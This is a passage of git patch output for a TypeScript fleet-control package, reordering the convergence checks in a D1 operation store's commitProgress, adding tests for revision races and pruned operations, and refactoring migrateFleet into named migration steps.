row_kind = ? AND ordinal = ?`, - [this.#accountId, operationId, row.rowKind, row.ordinal], - ); - if (!stored[0]) complete = false; - else if (rowString(stored[0], 'payload') !== bytes) { - throw operationDivergence(operationId); - } - } + const persisted = await this.readOperationById(operationId); + if (!persisted) throw unknownOperation(operationId); for (const [rowKind, watermark] of watermarks) { const stored = await this.#db.query( `SELECT COUNT(*) AS count ${ROWS_BELOW_ORDINAL_SQL}`, @@ -871,18 +922,29 @@ export class D1FleetOperationStore implements FleetOperationStore { throw operationConflict(operationId); } } - const persisted = await this.readOperationById(operationId); - if (!persisted) throw unknownOperation(operationId); // Progress uses plain JSON equality; coordinators must build it in stable // key order so a byte-identical replay can converge. if ( - complete && - persisted.progress.revision === intended.progress.revision && - JSON.stringify(persisted) === JSON.stringify(intended) + persisted.progress.revision !== intended.progress.revision || + JSON.stringify(persisted) !== JSON.stringify(intended) ) { - return persisted; + throw operationConflict(operationId); + } + let complete = true; + for (const { row, bytes } of payloads) { + const stored = await this.#db.query( + `SELECT payload FROM ${ROW_TABLE} + WHERE account_id = ? AND operation_id = ? + AND row_kind = ? AND ordinal = ?`, + [this.#accountId, operationId, row.rowKind, row.ordinal], + ); + if (!stored[0]) complete = false; + else if (rowString(stored[0], 'payload') !== bytes) { + throw operationDivergence(operationId); + } } - throw operationConflict(operationId); + if (!complete) throw operationConflict(operationId); + return persisted; } async #finalizeOperation( diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 69e617b8..39eea9cb 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -3222,6 +3222,30 @@ function operationFinding(ordinal: number): FleetOperationStagedRow { }; } +function operationItem( + status: 'pending' | 'active', + ordinal: number, +): FleetOperationStagedRow { + return { + rowKind: 'item', + ordinal, + payload: { + ordinal, + tenantTag: 'tenant', + environment: 'production', + entryRecordDigest: 'c'.repeat(64), + ...(status === 'pending' + ? {} + : { + targetSpecDigest: 'd'.repeat(64), + plan: [{ step: 'promote' }], + planCursor: 0, + }), + status, + }, + }; +} + function operationStore( database: FleetStateDatabase, accountId = OPERATION_ACCOUNT, @@ -3400,6 +3424,44 @@ async function operationCommitWatermark(db: D1Database): Promise { }); } +// The row UPDATE carries the aliased dense-prefix conjunct too, and only a +// migration `item` row can reach it: the audit-kind probe above cannot take +// `updateRows` at all. This probe drives the ACCEPTED path of that statement, +// so the real D1 planner has executed the alias inside an UPDATE and not only +// inside an INSERT. +async function operationCommitRowUpdate(db: D1Database): Promise { + const target = await readyOperationStore(db); + const id = operationId(6); + return target.withAccountOperationLease('migration', async (lease) => { + const created = await operationStart(lease, 'migration', id); + await lease.stageRows({ + operationId: id, + expectedRevision: 0, + rows: [operationItem('pending', 0)], + }); + // The batch inserts nothing, so `prefix` equals the watermark on both the + // UPDATE and the run update, and the staged item 0 already satisfies + // COUNT(item, ordinal < 1) = 1: the claim holds by construction, and a + // refusal here would be a bug rather than the design. + const accepted = await lease.commitProgress({ + operationId: id, + expectedRevision: 0, + runRecord: operationAdvanced(created.record), + updateRows: [operationItem('active', 0)], + expectedRowWatermarks: { item: 1 }, + }); + const page = await target.readOperationRowsPage({ + operationId: id, + rowKind: 'item', + limit: 10, + }); + return { + acceptedRevision: accepted.progress.revision, + itemStatus: page.rows[0]?.payload.status, + }; + }); +} + async function operationFinalizeConvergence(db: D1Database): Promise { await readyOperationStore(db); const database = hideResultsDatabase(new D1FleetStateDatabase(db)); @@ -3818,6 +3880,8 @@ export default { return Response.json(await operationCommitConcurrency(env.DB)); case 'operation-commit-watermark': return Response.json(await operationCommitWatermark(env.DB)); + case 'operation-commit-row-update': + return Response.json(await operationCommitRowUpdate(env.DB)); case 'operation-finalize-convergence': return Response.json(await operationFinalizeConvergence(env.DB)); case 'operation-rows-readback': diff --git a/packages/fleet-control/test/fleet-operation-store.test.ts b/packages/fleet-control/test/fleet-operation-store.test.ts index 696e5f62..e49aecfd 100644 --- a/packages/fleet-control/test/fleet-operation-store.test.ts +++ b/packages/fleet-control/test/fleet-operation-store.test.ts @@ -942,8 +942,12 @@ describe('D1FleetOperationStore', () => { // reaches — title 19's watermark carries no inserts, so its `prefix` // equals the watermark and its UPDATE conjunct is indistinguishable from // the run update's. Here the UPDATE's own conjunct is the only thing - // keeping the new payload out of the table; delete `${rowWatermarkSql}` - // from the UPDATE and the row reads 'active' through a refused commit. + // keeping the new payload out of the table, and the persisted `pending` + // payload asserted after the lease is this leg's SOLE conjunct: delete + // `${rowWatermarkSql}` AND its `...watermarkBindings.rowStatement` + // bindings from the UPDATE and the row reads 'active' through a refused + // commit. Deleting the SQL alone leaves the bindings over-supplied and + // the statement raises `column index out of range` instead. const legE = new MemoryD1(); const legETarget = store(legE); await legETarget.withAccountOperationLease('migration', async (lease) => { @@ -963,13 +967,13 @@ describe('D1FleetOperationStore', () => { expectedRowWatermarks: { item: 2 }, }), ); - // The convergence read compares payload bytes BEFORE watermarks, so a - // refused row UPDATE reports divergence rather than the conflict; with - // the UPDATE's conjunct deleted the bytes match and it reports the - // conflict instead. - expect(refused.message).toBe( - `fleet operation '${OPERATION_ID}' staged rows diverge from the persisted operation`, - ); + // The convergence read re-verifies the claimed watermarks BEFORE it + // compares the persisted record, so an unsatisfiable `{item: 2}` + // reports the conflict. That message does NOT discriminate the + // UPDATE's own conjunct: delete the conjunct and its bindings and the + // run update still refuses on its own watermark, and the convergence + // read still reports the conflict. + expect(refused.message).toBe(conflict); expect(legE.batchSizes.slice(batchMark)).toHaveLength(1); }); expect( @@ -1015,8 +1019,12 @@ describe('D1FleetOperationStore', () => { }); }, ); + // The refused commit intends revision 2 against a persisted revision 0, + // so the convergence read's run-record comparison classifies it before + // it compares the item row's bytes at all: a stale replay is a conflict, + // not corruption. expect(error?.message).toBe( - `fleet operation '${OPERATION_ID}' staged rows diverge from the persisted operation`, + `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, ); expect(result.progress.revision).toBe(1); const page = await target.readOperationRowsPage({ @@ -1027,6 +1035,123 @@ describe('D1FleetOperationStore', () => { expect(page.rows[0]?.payload.status).toBe('active'); }); + it('a commitProgress losing the revision race to an abandon reports the conflict, not corruption', async () => { + const db = new MemoryD1(); + const target = store(db); + const error = await target.withAccountOperationLease( + 'migration', + async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending', 0)], + }); + // Actor A abandons, composed exactly as `abandonFleetAuditOperation` + // composes it: the SAME revision 1 actor B's in-flight transition + // below intends, and no `updateRows`, so A writes no row at all. + const abandoned: FleetOperationRunRecord = { + ...created.record, + state: 'failed', + progress: { + ...created.record.progress, + revision: 1, + failure: { reason: 'operator-abandoned' }, + }, + }; + await lease.failOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: abandoned, + }); + const batchMark = db.batchSizes.length; + // B derived its transition before the abandon landed. Its batch is + // refused whole, the watermark still holds, and the target revision + // MATCHES — only the run record's bytes and the item row's differ. + // The run-record comparison is the sole conjunct: run the payload + // loop first and this same call reports corruption instead. + const refused = await rejection( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + updateRows: [itemRow('active', 0)], + expectedRowWatermarks: { item: 1 }, + }), + ); + expect(db.batchSizes.slice(batchMark)).toHaveLength(1); + return refused; + }, + ); + expect(error.message).toBe( + `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, + ); + // A's transition is the one that stands, and it wrote no row: the staged + // `pending` payload is untouched. + const persisted = await target.readOperationById(OPERATION_ID); + expect(persisted?.state).toBe('failed'); + expect(persisted?.progress.revision).toBe(1); + expect( + ( + await target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'item', + limit: 10, + }) + ).rows[0]?.payload.status, + ).toBe('pending'); + }); + + it('a commitProgress after the operation is pruned reports the unknown operation, not a watermark conflict', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('migration', async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending', 0)], + }); + // Terminal and head-released, which is what makes it a prune candidate. + await lease.failOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'failed'), + }); + }); + // The shipped prune path, not a hand-rolled delete: one batch drops the + // staged rows AND the operation record together. + expect( + await target.pruneFleetOperations({ kind: 'migration', limit: 10 }), + ).toEqual({ deleted: 1, releasedPins: 0 }); + expect(await target.readOperationById(OPERATION_ID)).toBeUndefined(); + expect(rowCount(db)).toBe(0); + const error = await target.withAccountOperationLease( + 'migration', + async (lease) => { + const batchMark = db.batchSizes.length; + const refused = await rejection( + lease.commitProgress({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: runRecord('migration', 1), + expectedRowWatermarks: { item: 1 }, + }), + ); + expect(db.batchSizes.slice(batchMark)).toHaveLength(1); + return refused; + }, + ); + // Sole conjunct: the operation-row read preceding the watermark loop. + // Move the read back below that loop and the same call reports the + // conflict, because every NON-ZERO watermark claim over a pruned + // operation is unsatisfiable. The `{item: 1}` claim above is non-zero + // ON PURPOSE: a claim of zero is satisfied by no rows at all, so under + // the mutation it would fall through the loop and still report the + // unknown operation, and this proof would show nothing. + expect(error.message).toBe(`no fleet operation '${OPERATION_ID}'`); + }); + it('the batch-budget refusal fires with its fixed message (rows + updates + 1 > 100)', async () => { const acceptedDb = new MemoryD1(); await store(acceptedDb).withAccountOperationLease( diff --git a/packages/fleet-control/test/state-store.harness.test.ts b/packages/fleet-control/test/state-store.harness.test.ts index b8fe7de3..c2874d8b 100644 --- a/packages/fleet-control/test/state-store.harness.test.ts +++ b/packages/fleet-control/test/state-store.harness.test.ts @@ -1583,6 +1583,18 @@ describe.sequential('D1FleetStateStore Wrangler harness', { }); }); + it("commitProgress row-UPDATE dense prefix against real D1 (a satisfiable item watermark commits the update the audit probe's kind cannot carry)", async () => { + await expect( + probe<{ + acceptedRevision: number; + itemStatus: string; + }>('operation-commit-row-update'), + ).resolves.toEqual({ + acceptedRevision: 1, + itemStatus: 'active', + }); + }); + it('finalize convergence', async () => { await expect( probe<{ From d5ff4ad392a54f6fb13d8f2ced4e69155edb92f3 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 5 Sep 2026 16:59:52 +0400 Subject: [PATCH 071/169] refactor(fleet-control): execute fleet migrations through frozen steps Partition the legacy migration body into admission and 24 named step regions so the bounded coordinator can reuse the same lifecycle logic. The existing migrateFleet API drives the frozen plan under one deployment lease, preserving its initial record snapshot separately from the record updated by each step and resolving settlement hosts at their original sites. Preserve provider and store interaction order, refusal arms, migration array identity, and returned records. Admission now refuses plans longer than 64 steps and evaluates non-ready guards before pre-retirement, as required by the bounded migration design. The internal terminal steps recognize an already committed ready record for future cursor-loss replay. Move the external migration subphase list into types.ts as the shared package-internal source. The root exports, tests, and frozen baselines are unchanged. Bounded coordination and its dedicated replay tests follow in the next checkpoint. Verification: typecheck, Biome, 245 tests across seven suites, all three frozen baselines, package build, architecture checks and 31 controls, documentation checks, changeset status, and excluded-path comparisons. --- packages/fleet-control/src/fleet.ts | 2677 +++++++++++++-------- packages/fleet-control/src/state-store.ts | 15 +- packages/fleet-control/src/types.ts | 9 + 3 files changed, 1671 insertions(+), 1030 deletions(-) diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts index c6071d9f..51a7a37b 100644 --- a/packages/fleet-control/src/fleet.ts +++ b/packages/fleet-control/src/fleet.ts @@ -13,6 +13,8 @@ import { finalizedBridgeForRecord, reconcileFinalizedBackendSwitchState, } from './backend-switch.js'; +import type { FleetMigrationPlanEntry } from './fleet-migration-state.js'; +import { FLEET_MIGRATION_PLAN_BOUND } from './fleet-operation-state.js'; import { assertExternalPlatformTarget, assertExternalPlatformTargetCompatibility, @@ -1981,1044 +1983,1679 @@ async function retireCommittedRelease( return cleared; } -export async function migrateFleet(options: { - readonly store: FleetStateStore; - readonly records: readonly FleetRecord[]; - readonly canaryTenantTags: readonly string[]; - readonly backendFor: (record: FleetRecord) => ProvisioningBackend; - readonly specFor: (record: FleetRecord) => DeploymentSpec; - readonly secretsFor: (record: FleetRecord) => DeploymentSecrets; - readonly finalizedStateProviderFor?: ( - record: FleetRecord, - ) => FinalizedOrdinaryStateProvider | undefined; - /** - * The host to hand each settled promotion to, per deployment. - * - * Optional, and its absence changes nothing about correctness: every promote - * path attests what it published whether or not a host is settling, because - * checking its own work is the package's obligation rather than a service it - * performs for a caller. - * - * `provisionDeployment` deliberately consults nothing like this. A first - * deploy returns synchronously to the caller that asked for it, so the host - * already knows the moment it went live and can settle after the call using - * `attestFleetRecordActiveRoute`; an in-lease settlement point there would - * add a callback into the critical section to tell a caller something it is - * about to be told anyway. - */ +interface AdmittedFleetMigrationContext { + readonly lease: FleetStateLease; + readonly database: NonNullable< + Awaited> + >; + readonly backend: ProvisioningBackend; + readonly spec: DeploymentSpec; + readonly secrets: DeploymentSecrets; + readonly targetDigest: string; + readonly finalizedStateProvider?: FinalizedOrdinaryStateProvider; readonly settlementFor?: ( record: FleetRecord, ) => FleetSettlementHost | undefined; - /** - * Tuning for the convergence wait each post-promote attestation performs. - * The defaults suit every provider this package targets; a caller overrides - * them to bound the wait differently or to drive it from an injected clock. - */ - readonly routeAttestation?: AttestConvergedActiveRouteOptions; - readonly clock?: () => number; -}): Promise { - const canaryOrder = new Map( - options.canaryTenantTags.map((tenantTag, index) => [tenantTag, index]), - ); - const ordered = [...options.records].sort((a, b) => { - const aCanary = canaryOrder.get(a.tenantTag); - const bCanary = canaryOrder.get(b.tenantTag); - if (aCanary !== undefined || bCanary !== undefined) { - if (aCanary === undefined) return 1; - if (bCanary === undefined) return -1; - return aCanary - bCanary; + readonly attestationOptions: AttestConvergedActiveRouteOptions; + readonly clock: () => number; + readonly immutableExternal: boolean; + readonly targetRelease?: ExternalReleaseSnapshot; + readonly targetPlatform?: ExternalPlatformTargetDescription; + readonly platformOnlyTarget?: ExternalPlatformTargetDescription; + readonly targetPhysicalScriptName?: string; +} + +type FleetMigrationDependencies = Pick< + Parameters[0], + | 'store' + | 'backendFor' + | 'specFor' + | 'secretsFor' + | 'finalizedStateProviderFor' + | 'settlementFor' +> & + Readonly<{ + lease: FleetStateLease; + attestationOptions: AttestConvergedActiveRouteOptions; + clock: () => number; + ordinal: number; + }>; + +type FleetMigrationPlanKind = 'ready' | 'platform-only' | 'full'; + +function fleetMigrationPlanKindOf( + plan: readonly FleetMigrationPlanEntry[], +): FleetMigrationPlanKind { + if (plan.some(({ step }) => step.startsWith('platform-only-'))) { + return 'platform-only'; + } + return plan.some(({ step }) => step === 'seed-identity') ? 'full' : 'ready'; +} + +async function runFleetMigrationPreamble( + deps: FleetMigrationDependencies, + tenantTag: string, + environment: string, + doBaseExpectation: 'strict' | 'resumption', +): Promise< + Readonly<{ admitted: AdmittedFleetMigrationContext; reread: FleetRecord }> +> { + const { lease } = deps; + const stored = await deps.store.get(tenantTag, environment); + if (!stored) throw new Error('fleet migration record disappeared'); + assertNoActiveDecommission(stored, 'migrateFleet'); + assertNoActiveCleanup(stored, 'migrateFleet'); + assertBackendSwitchInactive(stored); + const storedSchemaVersion = stored.schemaVersion; + const backend = deps.backendFor(stored); + const spec = deps.specFor(stored); + const secrets = deps.secretsFor(stored); + const finalizedOrdinaryState = + stored.backendSwitchIntent?.subphase === 'finalized' && + stored.platformResources?.stateWorker.plane === 'ordinary'; + const finalizedStateProvider = finalizedOrdinaryState + ? deps.finalizedStateProviderFor?.(stored) + : undefined; + if (finalizedOrdinaryState) { + finalizedBridgeForRecord(stored); + if (!finalizedStateProvider) { + throw new Error( + 'finalized ordinary state requires its backend-switch provider', + ); } - return `${a.tenantTag}:${a.environment}`.localeCompare( - `${b.tenantTag}:${b.environment}`, + } + validateDeploymentSpec(spec); + validateDeploymentSecrets(spec, secrets); + assertImmutableDeploymentMapping(stored, backend, spec); + assertPlatformDurableObjectHistory(stored, spec); + if (stored.phase !== 'ready' && stored.phase !== 'migrating') { + throw new Error(`cannot migrate deployment in phase '${stored.phase}'`); + } + const targetDigest = deploymentSpecDigest(spec); + const immutableExternal = + backend.immutableExternalArtifacts === true && + spec.authoredBy === 'external'; + const targetPhysicalScriptName = immutableExternal + ? backend.releaseScriptName?.(spec) + : undefined; + if (immutableExternal && !targetPhysicalScriptName) { + throw new Error( + 'immutable external backend did not provide a physical release name', ); - }); - const attestationOptions: AttestConvergedActiveRouteOptions = { - clock: options.clock ?? Date.now, - ...options.routeAttestation, - }; - const updated: FleetRecord[] = []; - for (const record of ordered) { - const next = await options.store.withDeploymentLease( - record.tenantTag, - record.environment, - async (lease) => { - let stored = await options.store.get( - record.tenantTag, - record.environment, - ); - if (!stored) throw new Error('fleet migration record disappeared'); - assertNoActiveDecommission(stored, 'migrateFleet'); - assertNoActiveCleanup(stored, 'migrateFleet'); - assertBackendSwitchInactive(stored); - const storedSchemaVersion = stored.schemaVersion; - const backend = options.backendFor(stored); - const spec = options.specFor(stored); - const secrets = options.secretsFor(stored); - const finalizedOrdinaryState = - stored.backendSwitchIntent?.subphase === 'finalized' && - stored.platformResources?.stateWorker.plane === 'ordinary'; - const finalizedStateProvider = finalizedOrdinaryState - ? options.finalizedStateProviderFor?.(stored) - : undefined; - if (finalizedOrdinaryState) { - finalizedBridgeForRecord(stored); - if (!finalizedStateProvider) { - throw new Error( - 'finalized ordinary state requires its backend-switch provider', - ); - } - } - validateDeploymentSpec(spec); - validateDeploymentSecrets(spec, secrets); - assertImmutableDeploymentMapping(stored, backend, spec); - assertPlatformDurableObjectHistory(stored, spec); - if (stored.phase !== 'ready' && stored.phase !== 'migrating') { - throw new Error( - `cannot migrate deployment in phase '${stored.phase}'`, - ); - } - const targetDigest = deploymentSpecDigest(spec); - const immutableExternal = - backend.immutableExternalArtifacts === true && - spec.authoredBy === 'external'; - const targetPhysicalScriptName = immutableExternal - ? backend.releaseScriptName?.(spec) - : undefined; - if (immutableExternal && !targetPhysicalScriptName) { - throw new Error( - 'immutable external backend did not provide a physical release name', - ); - } - if ( - spec.migrations.some( - (migration) => - migration.version > storedSchemaVersion && - migration.rollbackCompatible !== true, - ) - ) { - throw new Error( - 'staged D1 migrations must attest rollbackCompatible before candidate creation', - ); - } - const targetRelease: ExternalReleaseSnapshot | undefined = - targetPhysicalScriptName - ? { - physicalScriptName: targetPhysicalScriptName, - specDigest: targetDigest, - artifactVersion: 'pending', - releaseSchemaVersion: spec.schemaVersion, - application: applicationBindingTopology( - spec, - stored.applicationResources ?? [], - ), - } - : undefined; - const targetPlatform = immutableExternal - ? finalizedStateProvider - ? finalizedStateProvider.describeFinalizedBridgeTarget(spec, stored) - : describeExternalPlatformTarget(backend, spec) - : undefined; - if (stored.platformTarget && targetPlatform) { - assertExternalPlatformTargetCompatibility( - stored.platformTarget, - targetPlatform, - ); - } - const platformOnlyTarget = targetPlatform - ? effectiveAppliedPlatformTarget(stored, targetPlatform) - : undefined; - const platformOnlyChange = - stored.desiredSpecDigest === targetDigest && - platformOnlyTarget !== undefined && - stored.platformTarget !== undefined && - JSON.stringify(stored.platformTarget) !== - JSON.stringify(platformOnlyTarget); - if ( - stored.phase === 'migrating' && - (immutableExternal - ? stored.migrationIntent?.platformOnly === true - ? stored.migrationIntent.targetSpecDigest !== targetDigest || - JSON.stringify(stored.migrationIntent.target) !== - JSON.stringify(platformOnlyTarget) - : stored.pendingRelease?.specDigest !== targetDigest || - stored.pendingRelease?.physicalScriptName !== - targetPhysicalScriptName || - stored.pendingRelease.releaseSchemaVersion !== - spec.schemaVersion || - stored.migrationIntent?.targetSpecDigest !== targetDigest - : stored.pendingSpecDigest !== targetDigest) - ) { - throw new Error( - 'migration retry uses a different desired specification', - ); - } - if (spec.previousDurableObjectTag !== stored.durableObjectTag) { - throw new Error( - `Durable Object migration base mismatch for ${stored.tenantTag}:${stored.environment}: expected '${stored.durableObjectTag ?? 'none'}'`, - ); - } - const database = await reconcilePersistedDatabase( - backend, - stored, - false, - lease, - ); - if (!database) { - throw new Error( - `persisted database '${stored.databaseId}' is absent`, - ); - } - if (stored.phase === 'ready' && stored.retiringRelease) { - stored = await retireCommittedRelease( - backend, - spec, - database, - stored, - lease, - options.clock ?? Date.now, - ); - } - if ( - stored.phase === 'ready' && - stored.desiredSpecDigest === targetDigest && - !platformOnlyChange - ) { - if (targetPlatform) { - const rollbackCompatibleTarget = - platformOnlyTarget ?? targetPlatform; - if (!stored.platformTarget) { - if (!stored.platformResources) { - throw new Error( - 'ready external deployment has no trusted platform resources', - ); - } - assertPlatformResourcesMatchTarget( - stored.platformResources, - targetPlatform, - ); - stored = { - ...stored, - platformTarget: targetPlatform, - outboundPolicy: targetPlatform.outboundPolicy, - updatedAt: new Date( - (options.clock ?? Date.now)(), - ).toISOString(), - }; - await lease.put(stored); - } - assertExternalPlatformTarget( - stored.platformTarget, - rollbackCompatibleTarget, - 'ready deployment', - ); - stored = await convergeExternalPlatformResources( - backend, - spec, - database, - secrets, - rollbackCompatibleTarget, - stored, - lease, - options.clock ?? Date.now, - finalizedStateProvider, - ); - } - const live = await backend.inspect( - spec, - secrets.maintenanceAdmin, - activeArtifactVersion(stored), - ); - if (!live) throw new Error('ready migration target is missing'); - assertLiveDeploymentMatches( - live, - stored, - spec, - targetDigest, - stored.activeRelease?.application, - ); - if (immutableExternal && stored.activeRelease) { - assertExternalReleaseArtifactVersion( - live, - stored.activeRelease, - 'ready migration', - ); - } - if ( - targetRelease && - (stored.activeRelease?.physicalScriptName !== - targetRelease.physicalScriptName || - stored.activeRelease.releaseSchemaVersion !== - targetRelease.releaseSchemaVersion || - stored.activeRelease.artifactVersion !== live.artifactVersion) - ) { - throw new Error( - 'ready immutable release metadata does not exactly match the target', - ); - } - let maintenance = live.maintenance; - if (!maintenance.armed) { - stored = await commitInvocationAuthority( - lease, - stored, - options.clock ?? Date.now, - ); - await lease.assertOwned(); - maintenance = await backend.ensureMaintenance( - spec, - secrets.maintenanceAdmin, - lease, - activeArtifactVersion(stored), - ); - } - if (!maintenance.armed) throw new Error('maintenance did not re-arm'); - stored = await commitInvocationAuthority( - lease, - stored, - options.clock ?? Date.now, - ); - await lease.assertOwned(); - await backend.promoteWorker( - spec, - buildPromotionGuard( - stored, - targetPhysicalScriptName ?? spec.scriptName, - ), - stored.outboundPolicy, - lease, - activeArtifactVersion(stored), - ); - // The steady-state path: an unchanged deployment reconciled again. - // It re-promotes because a crash could have left the route behind, - // so it must re-attest — but it must not re-settle, or a fleet on a - // reconcile schedule would settle forever. - const convergence = await settlePromotedRoute({ - backend, - spec, - record: stored, - entry: 'ready-convergence', - target: stored.activeRelease, - prior: stored.rollbackRelease, - expectedSpecDigest: targetDigest, - expectedArtifactVersion: activeArtifactVersion(stored), - settlementHost: options.settlementFor?.(stored), - attestation: attestationOptions, - skipWhenAlreadySettled: true, - }); - if (convergence.settled) { - stored = { - ...stored, - settledSettlementKey: convergence.settlementKey, - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(stored); - } - return retireCommittedRelease( - backend, - spec, - database, - stored, - lease, - options.clock ?? Date.now, - ); - } - if ( - spec.schemaVersion < stored.schemaVersion && - !platformOnlyChange && - stored.migrationIntent?.platformOnly !== true - ) { - throw new Error( - `schema downgrade refused for ${stored.tenantTag}:${stored.environment}`, - ); - } - if (immutableExternal && !stored.activeRelease) { - throw new Error( - 'immutable external migration has no durable active release metadata', - ); - } - if ( - immutableExternal && - targetRelease && - targetPlatform && - (!stored.platformTarget || !stored.outboundPolicy) - ) { - throw new Error( - 'immutable external migration has no durable prior platform target and policy', - ); - } - const externalIntent: ExternalMigrationIntent | undefined = - immutableExternal && targetRelease && targetPlatform - ? platformOnlyChange - ? { - platformOnly: true, - targetSpecDigest: targetDigest, - priorRelease: stored.activeRelease as ExternalReleaseSnapshot, - priorTarget: - stored.platformTarget as ExternalPlatformTargetDescription, - priorOutboundPolicy: - stored.outboundPolicy as DeploymentEgressPolicy, - targetRelease: - stored.activeRelease as ExternalReleaseSnapshot, - target: - platformOnlyTarget as ExternalPlatformTargetDescription, - subphase: 'planned', - } - : { - targetSpecDigest: targetDigest, - priorRelease: stored.activeRelease as ExternalReleaseSnapshot, - priorTarget: - stored.platformTarget as ExternalPlatformTargetDescription, - priorOutboundPolicy: - stored.outboundPolicy as DeploymentEgressPolicy, - targetRelease, - target: targetPlatform, - subphase: 'planned', - } - : undefined; - let migrationRecord: FleetRecord = - stored.phase === 'ready' - ? { - ...stored, - phase: 'migrating', - ...(externalIntent?.platformOnly - ? { migrationIntent: externalIntent } - : targetRelease - ? { - pendingRelease: targetRelease, - migrationPriorRelease: stored.activeRelease, - migrationIntent: externalIntent, - } - : {}), - ...(!targetRelease ? { pendingSpecDigest: targetDigest } : {}), - updatedAt: new Date( - (options.clock ?? Date.now)(), - ).toISOString(), - } - : stored; - if (stored.phase === 'ready') await lease.put(migrationRecord); - if ( - immutableExternal && - (!migrationRecord.migrationIntent || - (migrationRecord.migrationIntent.platformOnly !== true && - (!migrationRecord.migrationPriorRelease || - !migrationRecord.pendingRelease))) - ) { - throw new Error( - 'immutable external migration lost its durable release intent', - ); - } - if (targetPlatform && migrationRecord.migrationIntent) { - assertExternalPlatformTarget( - migrationRecord.migrationIntent.target, - migrationRecord.migrationIntent.platformOnly === true - ? (platformOnlyTarget as ExternalPlatformTargetDescription) - : targetPlatform, - 'migration retry', - ); - } - if (finalizedStateProvider && targetPlatform) { - const finalizedPlan = finalizedStateProvider.describeFinalizedState({ - targetSpec: spec, - currentRecord: migrationRecord, - target: migrationRecord.migrationIntent?.target ?? targetPlatform, - }); - await finalizedStateProvider.assertFinalizedState({ - targetSpec: spec, - currentRecord: migrationRecord, - target: migrationRecord.migrationIntent?.target ?? targetPlatform, - plan: finalizedPlan, - fence: lease, - }); - } - if (migrationRecord.migrationIntent?.platformOnly === true) { - const platformMigrationTarget = - migrationRecord.migrationIntent.target; - const platformMigrationRelease = - migrationRecord.migrationIntent.targetRelease; - if (migrationRecord.migrationIntent.subphase === 'planned') { - migrationRecord = { - ...migrationRecord, - migrationIntent: { - ...migrationRecord.migrationIntent, - subphase: 'schema-applied', - }, - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrationRecord); - } - migrationRecord = await convergeExternalPlatformResources( - backend, - spec, - database, - secrets, - platformMigrationTarget, - migrationRecord, - lease, - options.clock ?? Date.now, - finalizedStateProvider, - ); - if (migrationRecord.migrationIntent?.subphase === 'schema-applied') { - migrationRecord = { - ...migrationRecord, - migrationIntent: { - ...migrationRecord.migrationIntent, - subphase: 'platform-applied', - }, - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrationRecord); - } - const maintenancePreflight = await backend.inspect( - spec, - secrets.maintenanceAdmin, - platformMigrationRelease.artifactVersion, - ); - if (!maintenancePreflight) { - throw new Error('platform-only migration release is missing'); - } - assertLiveDeploymentMatches( - maintenancePreflight, - stored, - spec, - targetDigest, - platformMigrationRelease.application, - ); - assertExternalReleaseArtifactVersion( - maintenancePreflight, - platformMigrationRelease, - 'platform-only maintenance', - ); - migrationRecord = await commitInvocationAuthority( - lease, - migrationRecord, - options.clock ?? Date.now, - ); - await lease.assertOwned(); - const maintenance = await backend.ensureMaintenance( - spec, - secrets.maintenanceAdmin, - lease, - platformMigrationRelease.artifactVersion, - ); - if (!maintenance.armed) { - throw new Error( - 'platform-only migration maintenance is unarmed before route publication', - ); - } - if ( - migrationRecord.migrationIntent?.subphase === 'platform-applied' - ) { - const publicationPreflight = await backend.inspect( - spec, - secrets.maintenanceAdmin, - platformMigrationRelease.artifactVersion, - ); - if (!publicationPreflight) { - throw new Error('platform-only migration release is missing'); - } - assertLiveDeploymentMatches( - publicationPreflight, - stored, - spec, - targetDigest, - platformMigrationRelease.application, - ); - assertExternalReleaseArtifactVersion( - publicationPreflight, - platformMigrationRelease, - 'platform-only publication', - ); - // No flip here: the unconditional maintenance flip above already - // committed the carrier durably earlier in this same call. - await lease.assertOwned(); - await backend.promoteWorker( - spec, - buildPromotionGuard( - migrationRecord, - targetPhysicalScriptName ?? spec.scriptName, - ), - platformMigrationTarget.outboundPolicy, - lease, - platformMigrationRelease.artifactVersion, - ); - migrationRecord = { - ...migrationRecord, - migrationIntent: { - ...migrationRecord.migrationIntent, - subphase: 'route-published', - }, - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrationRecord); - } - const live = await backend.inspect( - spec, - secrets.maintenanceAdmin, - platformMigrationRelease.artifactVersion, - ); - if (!live) - throw new Error('platform-only migration release is missing'); - assertLiveDeploymentMatches( - live, - stored, - spec, - targetDigest, - platformMigrationRelease.application, - ); - assertExternalReleaseArtifactVersion( - live, - platformMigrationRelease, - 'platform-only settlement', - ); - const platformSettlement = await settlePromotedRoute({ - backend, - spec, - record: migrationRecord, - entry: 'platform-only', - target: platformMigrationRelease, - prior: migrationRecord.rollbackRelease, - expectedSpecDigest: targetDigest, - expectedArtifactVersion: platformMigrationRelease.artifactVersion, - settlementHost: options.settlementFor?.(migrationRecord), - attestation: attestationOptions, - }); - const settled = { ...migrationRecord }; - delete settled.migrationIntent; - const migrated: FleetRecord = { - ...settled, - phase: 'ready', - platformTarget: platformMigrationTarget, - outboundPolicy: platformMigrationTarget.outboundPolicy, - ...(platformSettlement.settled - ? { settledSettlementKey: platformSettlement.settlementKey } - : {}), - updatedAt: new 